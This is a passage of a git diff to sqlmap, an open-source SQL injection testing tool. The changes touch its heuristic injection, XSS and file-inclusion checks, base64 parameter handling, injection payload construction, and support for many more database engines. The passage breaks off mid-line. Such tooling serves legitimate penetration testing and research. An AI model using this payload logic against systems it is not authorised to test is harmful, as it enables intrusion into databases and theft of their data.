+ pushValue(kb.injection) kb.injection = injection for dbms in getPublicTypeMembers(DBMS, True): randStr1, randStr2 = randomStr(), randomStr() + Backend.forceDbms(dbms) - if conf.noEscape and dbms not in FROM_DUMMY_TABLE: - continue + if dbms in HEURISTIC_NULL_EVAL: + result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) + elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1): + result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)) + else: + result = False - if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)): + if result: if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): retVal = dbms break @@ -934,6 +947,9 @@ def _(): if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)): continue + if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)): + continue + if randInt3 > randInt2 > randInt1: break @@ -1022,6 +1038,9 @@ def checkFilteredChars(injection): kb.injection = popValue() def heuristicCheckSqlInjection(place, parameter): + if conf.skipHeuristics: + return None + if kb.heavilyDynamic: debugMsg = "heuristic check skipped because of heavy dynamicity" logger.debug(debugMsg) @@ -1118,14 +1137,22 @@ def _(page): paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place - if value.lower() in (page or "").lower(): + # Reference: https://bugs.python.org/issue18183 + if value.upper() in (page or "").upper(): infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) + if conf.beep: + beep() + for match in re.finditer(FI_ERROR_REGEX, page or ""): if randStr1.lower() in match.group(0).lower(): infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) + + if conf.beep: + beep() + break kb.disableHtmlDecoding = False @@ -1572,7 +1599,7 @@ def checkConnection(suppressOutput=False): kb.originalPage = kb.pageTemplate = threadData.lastPage kb.originalCode = threadData.lastCode - if conf.cj and not conf.cookie and not conf.dropSetCookie: + if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie: candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj) message = "you have not declared cookie(s), while " diff --git a/lib/controller/controller.py b/lib/controller/controller.py index c9a5b7e87fc..14a2174bbb6 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -58,6 +58,7 @@ from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import SqlmapBaseException +from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapSilentQuitException @@ -290,7 +291,7 @@ def start(): logger.error(errMsg) return False - if kb.targets and len(kb.targets) > 1: + if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1: infoMsg = "found a total of %d targets" % len(kb.targets) logger.info(infoMsg) @@ -307,11 +308,20 @@ def start(): warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X") dataToStdout(warnMsg) - while not checkInternet(): - dataToStdout('.') - time.sleep(5) + valid = False + for _ in xrange(conf.retries): + if checkInternet(): + valid = True + break + else: + dataToStdout('.') + time.sleep(5) - dataToStdout("\n") + if not valid: + errMsg = "please check your Internet connection and rerun" + raise SqlmapConnectionException(errMsg) + else: + dataToStdout("\n") conf.url = targetUrl conf.method = targetMethod.upper().strip() if targetMethod else targetMethod @@ -326,6 +336,10 @@ def start(): conf.httpHeaders.append((header, value)) break + if conf.data: + # Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers + conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data) + conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])] initTargetEnv() @@ -372,7 +386,7 @@ def start(): message += "\nCookie: %s" % conf.cookie if conf.data is not None: - message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data) + message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data) if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: @@ -403,14 +417,17 @@ def start(): parseTargetUrl() else: - message += "\ndo you want to test this URL? [Y/n/q]" - choice = readInput(message, default='Y').upper() - - if choice == 'N': - dataToStdout(os.linesep) - continue - elif choice == 'Q': - break + if not conf.scope: + message += "\ndo you want to test this URL? [Y/n/q]" + choice = readInput(message, default='Y').upper() + + if choice == 'N': + dataToStdout(os.linesep) + continue + elif choice == 'Q': + break + else: + pass infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) @@ -435,7 +452,6 @@ def start(): checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): - if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable @@ -687,6 +703,12 @@ def start(): action() except KeyboardInterrupt: + if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1): + kb.multipleCtrlC = True + raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)") + + kb.lastCtrlCTime = time.time() + if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) diff --git a/lib/controller/handler.py b/lib/controller/handler.py index fc439729add..106b8051f32 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -11,47 +11,83 @@ from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.exception import SqlmapConnectionException +from lib.core.settings import ACCESS_ALIASES +from lib.core.settings import ALTIBASE_ALIASES +from lib.core.settings import CACHE_ALIASES +from lib.core.settings import CRATEDB_ALIASES +from lib.core.settings import CUBRID_ALIASES +from lib.core.settings import DB2_ALIASES +from lib.core.settings import DERBY_ALIASES +from lib.core.settings import EXTREMEDB_ALIASES +from lib.core.settings import FIREBIRD_ALIASES +from lib.core.settings import FRONTBASE_ALIASES +from lib.core.settings import H2_ALIASES +from lib.core.settings import HSQLDB_ALIASES +from lib.core.settings import INFORMIX_ALIASES +from lib.core.settings import MAXDB_ALIASES +from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MIMERSQL_ALIASES +from lib.core.settings import MONETDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import PRESTO_ALIASES from lib.core.settings import SQLITE_ALIASES -from lib.core.settings import ACCESS_ALIASES -from lib.core.settings import FIREBIRD_ALIASES -from lib.core.settings import MAXDB_ALIASES from lib.core.settings import SYBASE_ALIASES -from lib.core.settings import DB2_ALIASES -from lib.core.settings import HSQLDB_ALIASES -from lib.core.settings import H2_ALIASES -from lib.core.settings import INFORMIX_ALIASES +from lib.core.settings import VERTICA_ALIASES from lib.utils.sqlalchemy import SQLAlchemy -from plugins.dbms.mssqlserver import MSSQLServerMap +from plugins.dbms.access.connector import Connector as AccessConn +from plugins.dbms.access import AccessMap +from plugins.dbms.altibase.connector import Connector as AltibaseConn +from plugins.dbms.altibase import AltibaseMap +from plugins.dbms.cache.connector import Connector as CacheConn +from plugins.dbms.cache import CacheMap +from plugins.dbms.cratedb.connector import Connector as CrateDBConn +from plugins.dbms.cratedb import CrateDBMap +from plugins.dbms.cubrid.connector import Connector as CubridConn +from plugins.dbms.cubrid import CubridMap +from plugins.dbms.db2.connector import Connector as DB2Conn +from plugins.dbms.db2 import DB2Map +from plugins.dbms.derby.connector import Connector as DerbyConn +from plugins.dbms.derby import DerbyMap +from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn +from plugins.dbms.extremedb import ExtremeDBMap +from plugins.dbms.firebird.connector import Connector as FirebirdConn +from plugins.dbms.firebird import FirebirdMap +from plugins.dbms.frontbase.connector import Connector as FrontBaseConn +from plugins.dbms.frontbase import FrontBaseMap +from plugins.dbms.h2.connector import Connector as H2Conn +from plugins.dbms.h2 import H2Map +from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn +from plugins.dbms.hsqldb import HSQLDBMap +from plugins.dbms.informix.connector import Connector as InformixConn +from plugins.dbms.informix import InformixMap +from plugins.dbms.maxdb.connector import Connector as MaxDBConn +from plugins.dbms.maxdb import MaxDBMap +from plugins.dbms.mckoi.connector import Connector as MckoiConn +from plugins.dbms.mckoi import MckoiMap +from plugins.dbms.mimersql.connector import Connector as MimerSQLConn +from plugins.dbms.mimersql import MimerSQLMap +from plugins.dbms.monetdb.connector import Connector as MonetDBConn +from plugins.dbms.monetdb import MonetDBMap from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn -from plugins.dbms.mysql import MySQLMap +from plugins.dbms.mssqlserver import MSSQLServerMap from plugins.dbms.mysql.connector import Connector as MySQLConn -from plugins.dbms.oracle import OracleMap +from plugins.dbms.mysql import MySQLMap from plugins.dbms.oracle.connector import Connector as OracleConn -from plugins.dbms.postgresql import PostgreSQLMap +from plugins.dbms.oracle import OracleMap from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn -from plugins.dbms.sqlite import SQLiteMap +from plugins.dbms.postgresql import PostgreSQLMap +from plugins.dbms.presto.connector import Connector as PrestoConn +from plugins.dbms.presto import PrestoMap from plugins.dbms.sqlite.connector import Connector as SQLiteConn -from plugins.dbms.access import AccessMap -from plugins.dbms.access.connector import Connector as AccessConn -from plugins.dbms.firebird import FirebirdMap -from plugins.dbms.firebird.connector import Connector as FirebirdConn -from plugins.dbms.maxdb import MaxDBMap -from plugins.dbms.maxdb.connector import Connector as MaxDBConn -from plugins.dbms.sybase import SybaseMap +from plugins.dbms.sqlite import SQLiteMap from plugins.dbms.sybase.connector import Connector as SybaseConn -from plugins.dbms.db2 import DB2Map -from plugins.dbms.db2.connector import Connector as DB2Conn -from plugins.dbms.hsqldb import HSQLDBMap -from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn -from plugins.dbms.h2 import H2Map -from plugins.dbms.h2.connector import Connector as H2Conn -from plugins.dbms.informix import InformixMap -from plugins.dbms.informix.connector import Connector as InformixConn +from plugins.dbms.sybase import SybaseMap +from plugins.dbms.vertica.connector import Connector as VerticaConn +from plugins.dbms.vertica import VerticaMap def setHandler(): """ @@ -73,6 +109,18 @@ def setHandler(): (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), (DBMS.H2, H2_ALIASES, H2Map, H2Conn), (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), + (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn), + (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn), + (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn), + (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn), + (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), + (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), + (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn), + (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn), + (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn), + (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn), + (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn), + (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/__init__.py b/lib/core/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/agent.py b/lib/core/agent.py index de7f50e090a..c17407c4843 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -13,6 +13,7 @@ from lib.core.common import getSQLSnippet from lib.core.common import getTechnique from lib.core.common import getTechniqueData +from lib.core.common import hashDBRetrieve from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isNumber from lib.core.common import isTechniqueAvailable @@ -34,16 +35,20 @@ from lib.core.dicts import DUMP_DATA_PREPROCESS from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import BOUNDED_BASE64_MARKER from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import GENERIC_SQL_COMMENT +from lib.core.settings import GENERIC_SQL_COMMENT_MARKER from lib.core.settings import INFERENCE_MARKER from lib.core.settings import NULL from lib.core.settings import PAYLOAD_DELIMITER @@ -106,6 +111,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N paramDict = conf.paramDict[place] origValue = getUnicode(paramDict[parameter]) newValue = getUnicode(newValue) if newValue else newValue + base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue: paramString = origValue @@ -167,28 +173,47 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N newValue = "%s%s" % (value, newValue) - newValue = self.cleanupPayload(newValue, origValue) + newValue = self.cleanupPayload(newValue, origValue) or "" + + if base64Encoding: + _newValue = newValue + _origValue = origValue + + if newValue: + newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\') + newValue = self.adjustLateValues(newValue) - if re.sub(r" \(.+", "", parameter) in conf.base64Parameter: # TODO: support for POST_HINT - newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING) - origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING) + newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER) + + if parameter in kb.base64Originals: + origValue = kb.base64Originals[parameter] + else: + origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING) if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): _ = "%s%s" % (origValue, kb.customInjectionMark) if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString: newValue = '"%s"' % self.addPayloadDelimiters(newValue) - elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString: + elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None: newValue = "'%s'" % self.addPayloadDelimiters(newValue) else: newValue = self.addPayloadDelimiters(newValue) - newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER) - retVal = paramString.replace(_, newValue) + if newValue: + newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER) + retVal = paramString.replace(_, newValue) + retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark) elif BOUNDED_INJECTION_MARKER in paramDict[parameter]: - retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue)) + if base64Encoding: + retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue) + match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal) + if match: + retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING))) + else: + retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue)) elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: @@ -294,8 +319,9 @@ def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmp where = getTechniqueData().where if where is None else where comment = getTechniqueData().comment if comment is None else comment - if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")): - comment = queries[DBMS.ACCESS].comment.query + if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)): + if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query): + comment = queries[Backend.getIdentifiedDbms()].comment.query if comment is not None: expression += comment @@ -372,6 +398,10 @@ def adjustLateValues(self, payload): """ if payload: + for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload): + _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe) + payload = payload.replace(match.group(0), _) + payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) payload = payload.replace(SINGLE_QUOTE_MARKER, "'") @@ -381,6 +411,11 @@ def adjustLateValues(self, payload): for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) + if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE): + payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload) + payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload) + payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload) + return payload def getComment(self, request): @@ -398,7 +433,7 @@ def hexConvertField(self, field): rootQuery = queries[Backend.getIdentifiedDbms()] hexField = field - if "hex" in rootQuery: + if "hex" in rootQuery and hasattr(rootQuery.hex, "query"): hexField = rootQuery.hex.query % field else: warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms() @@ -436,9 +471,15 @@ def nullAndCastField(self, field): @rtype: C{str} """ + match = re.search(r"(?i)(.+)( AS \w+)\Z", field) + if match: + field, suffix = match.groups() + else: + suffix = "" + nulledCastedField = field - if field: + if field and Backend.getIdentifiedDbms(): rootQuery = queries[Backend.getIdentifiedDbms()] if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast: @@ -446,7 +487,7 @@ def nullAndCastField(self, field): else: if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): nulledCastedField = rootQuery.cast.query % field - if Backend.getIdentifiedDbms() in (DBMS.ACCESS,): + if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI): nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField) else: nulledCastedField = rootQuery.isnull.query % nulledCastedField @@ -455,6 +496,12 @@ def nullAndCastField(self, field): if conf.hexConvert or kb.binaryField: nulledCastedField = self.hexConvertField(nulledCastedField) + if suffix: + nulledCastedField += suffix + + if not kb.nchar: + nulledCastedField = re.sub(r"( AS )N(CHAR|VARCHAR)", r"\g<1>\g<2>", nulledCastedField) + return nulledCastedField def nullCastConcatFields(self, fields): @@ -498,6 +545,7 @@ def nullCastConcatFields(self, fields): nulledCastedFields = [] for field in fieldsSplitted: + field = re.sub(r"(?i) AS \w+\Z", "", field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work nulledCastedFields.append(self.nullAndCastField(field)) delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter) @@ -523,7 +571,7 @@ def getFields(self, query): """ prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*" - fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) + fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I) fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I) fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) @@ -548,7 +596,7 @@ def getFields(self, query): if fieldsSelect: fieldsToCastStr = fieldsSelect.group(1) elif fieldsSelectTop: - fieldsToCastStr = fieldsSelectTop.group(1) + fieldsToCastStr = fieldsSelectTop.group(2) elif fieldsSelectRownum: fieldsToCastStr = fieldsSelectRownum.group(1) elif fieldsSelectDistinct: @@ -648,7 +696,7 @@ def concatQuery(self, query, unpack=True): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -671,8 +719,8 @@ def concatQuery(self, query, unpack=True): concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: - topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) - concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1) + topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1) + concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) @@ -708,15 +756,36 @@ def concatQuery(self, query, unpack=True): warnMsg = "applying generic concatenation (CONCAT)" singleTimeWarnMessage(warnMsg) + if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()): + _ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery) + if _ != concatenatedQuery: + concatenatedQuery = _ + fieldsSelectFrom = None + if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += "),'%s')" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += "),'%s')" % kb.chars.stop - elif fieldsSelectFrom: + elif fieldsSelectFrom or fieldsSelect: + fromTable = "" + _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) - concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:]) + if _: + concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:] + + concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery) + replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) + chars = [_ for _ in replacement] + + count = 0 + for index in zeroDepthSearch(replacement, ',')[1:]: + chars[index] = ")," + count += 1 + + replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars)) + concatenatedQuery = "%s%s" % (replacement, fromTable) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += "),'%s')" % kb.chars.stop @@ -937,10 +1006,33 @@ def limitQuery(self, num, query, field=None, uniqueField=None): fromFrom = limitedQuery[fromIndex + 1:] orderBy = None - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1) + limitedQuery += " %s" % limitStr + + elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) + limitedQuery += " %s" % limitStr + + elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) + if query.startswith("SELECT "): + limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1) + + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,): + if query.startswith("SELECT ") and field is not None and field in query: + original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0] + for part in original.split(','): + if re.search(r"\b%s\b" % re.escape(field), part): + _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1) + replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num) + limitedQuery = replacement + break + elif Backend.isDbms(DBMS.HSQLDB): match = re.search(r"ORDER BY [^ ]+", limitedQuery) if match: @@ -959,6 +1051,15 @@ def limitQuery(self, num, query, field=None, uniqueField=None): if match: orderBy = " ORDER BY %s" % match.group(1) + elif Backend.isDbms(DBMS.CACHE): + match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery) + if match: + limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip() + orderBy = " %s" % match.group(0) + field = match.group(1) + + limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num) + elif Backend.isDbms(DBMS.FIREBIRD): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1) limitedQuery += " %s" % limitStr @@ -1036,12 +1137,15 @@ def limitQuery(self, num, query, field=None, uniqueField=None): def forgeQueryOutputLength(self, expression): lengthQuery = queries[Backend.getIdentifiedDbms()].length.query select = re.search(r"\ASELECT\s+", expression, re.I) + selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I) selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", 